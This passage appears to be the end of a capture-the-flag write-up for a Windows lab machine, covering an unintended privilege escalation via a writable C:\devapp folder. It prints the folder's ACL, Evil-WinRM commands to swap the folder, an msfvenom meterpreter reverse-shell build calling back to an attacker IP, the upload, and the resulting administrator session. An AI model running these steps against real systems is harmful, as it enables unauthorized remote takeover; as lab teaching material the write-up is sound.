Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32> cat \users\administrator\desktop\root.txt | measure -c

Lines Words Characters Property
----- ----- ---------- --------
                    32

Unintended

Initially there was also an unintended way that skipped the buffer overflow part of the machine. Looking at the ACL for C:\devapp you could see that authenticated users have modify rights. Since the script restarting the app just looks at the path you could simply move the folder somewhere else, create a new C:\DevApp folder and place an exe inside the folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
*Evil-WinRM* PS C:\ > get-acl C:\devapp | select -expandproperty access


FileSystemRights  : FullControl
AccessControlType : Deny
IdentityReference : HANCLIFFE\svc_account
IsInherited       : False
InheritanceFlags  : ContainerInherit, ObjectInherit
PropagationFlags  : None

FileSystemRights  : FullControl
AccessControlType : Deny
IdentityReference : HANCLIFFE\clara
IsInherited       : False
InheritanceFlags  : ContainerInherit, ObjectInherit
PropagationFlags  : None

FileSystemRights  : FullControl
AccessControlType : Allow
IdentityReference : BUILTIN\Administrators
IsInherited       : True
InheritanceFlags  : ContainerInherit, ObjectInherit
PropagationFlags  : None

FileSystemRights  : FullControl
AccessControlType : Allow
IdentityReference : NT AUTHORITY\SYSTEM
IsInherited       : True
InheritanceFlags  : ContainerInherit, ObjectInherit
PropagationFlags  : None

FileSystemRights  : ReadAndExecute, Synchronize
AccessControlType : Allow
IdentityReference : BUILTIN\Users
IsInherited       : True
InheritanceFlags  : ContainerInherit, ObjectInherit
PropagationFlags  : None

FileSystemRights  : Modify, Synchronize
AccessControlType : Allow
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited       : True
InheritanceFlags  : None
PropagationFlags  : None

FileSystemRights  : -536805376
AccessControlType : Allow
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited       : True
InheritanceFlags  : ContainerInherit, ObjectInherit
PropagationFlags  : InheritOnly

First you had to move the current directory out of the way, create a new one and copy the script there.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\ > mv \devapp \old
*Evil-WinRM* PS C:\ > mkdir \devapp


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        10/10/2021   1:53 PM                devapp


*Evil-WinRM* PS C:\ > cp \old\restart.ps1 \devapp
*Evil-WinRM* PS C:\ > cd \devapp

Next you started up a handler inside metasploit and generated a meterpreter executable.

1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.74
lhost => 10.10.14.74
msf6 exploit(multi/handler) > set lport 7474
lport => 7474
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.74:7474
1
2
3
4
5
6
7
$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.74 LPORT=7474 -f exe -o m.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 200262 bytes
Final size of exe file: 206848 bytes
Saved as: m.exe

You placed the meterpreter as MyFirstApp.exe inside the new C:\DevApp folder. After some time the the script restarts the exe sending a meterpreter session as administrator.

1
2
3
4
5
6
7
*Evil-WinRM* PS C:\devapp> upload m.exe MyFirstApp.exe
Info: Uploading m.exe to C:\devapp\MyFirstApp.exe


Data: 275796 bytes of 275796 bytes copied

Info: Upload successful!
1
msf6 exploit(multi/handler) > [*] Meterpreter session 1 opened (10.10.14.74:7474 -> 10.129.95.247:49919) at 2021-10-10 20:57:59 +0000

Now you could simply grab the root flag on the administrator’s desktop.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > execute -f powershell.exe -i -H
Process 2056 created.
Channel 2 created.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32> cat C:/users/administrator/desktop/root.txt | measure -c
cat C:/users/administrator/desktop/root.txt | measure -c

Lines Words Characters Property
----- ----- ---------- --------
                    32